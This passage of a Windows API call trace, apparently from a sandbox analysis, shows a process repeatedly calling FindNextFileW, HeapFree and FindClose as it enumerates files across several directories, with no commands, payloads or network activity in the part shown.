(in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.272] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.272] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.273] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.273] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.273] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.273] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.273] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.273] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.273] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.273] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.273] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.275] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.275] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.275] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.275] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.275] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.276] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.276] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.276] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.276] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.276] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.276] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.277] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.277] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.277] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.277] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.277] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.277] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.277] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.277] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.277] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.278] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.278] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.278] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0127.278] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0127.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.278] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.278] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.278] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.279] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.279] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.279] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.279] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.279] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.279] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.279] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.279] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.280] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.280] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.281] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.281] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.281] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.281] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.282] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.282] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.283] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.283] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.284] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.284] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0127.284] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0127.284] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0 [0127.284] FindClose (in: hFindFile=0x3e5b998 | out: hFindFile=0x3e5b998) returned 1 [0127.285] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0127.285] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0127.287] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0127.287] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0127.290] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0127.290] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0127.303] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0127.303] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0127.304] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0127.304] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0127.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0127.306] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0127.310] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0127.310] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0127.502] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.502] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.524] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44476a0 | out: hHeap=0x510000) returned 1 [0127.525] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.525] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.525] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.525] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.525] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.526] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.527] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.527] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.527] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.528] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.528] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.528] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.528] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.528] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.528] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.529] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.529] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.529] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.529] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.531] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.531] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.531] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44566a0 | out: hHeap=0x510000) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x3e5be58, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0127.532] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.533] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4446698 | out: hHeap=0x510000) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.534] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x570ae0, Size=0x4000) returned 0x4446698 [0127.534] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.535] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.535] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.535] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.535] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.535] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.536] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.536] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.536] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.536] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.537] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.537] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.537] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.537] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.538] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.539] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.539] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.539] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0127.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x444a6a0 | out: hHeap=0x510000) returned 1 [0127.539] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0127.539] FindClose (in: hFindFile=0x3e5bad8 | out: hFindFile=0x3e5bad8) returned 1 [0127.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0128.469] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.469] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.469] FindNextFileW (in: hFindFile=0x3e5ba98, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0128.469] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.469] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.471] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0128.471] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0128.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.471] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.471] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.472] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.474] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.474] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0128.474] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0128.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.474] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4435688 | out: hHeap=0x510000) returned 1 [0128.474] FindNextFileW (in: hFindFile=0x3e5b998, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0128.474] FindClose (in: hFindFile=0x3e5b998 | out: hFindFile=0x3e5b998) returned 1 [0128.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.474] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.476] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.476] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.476] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0128.476] FindNextFileW (in: hFindFile=0x3e5bfd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0128.478] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446aa18 | out: hHeap=0x510000) returned 1 [0128.478] FindNextFileW (in: hFindFile=0x3e5b918, 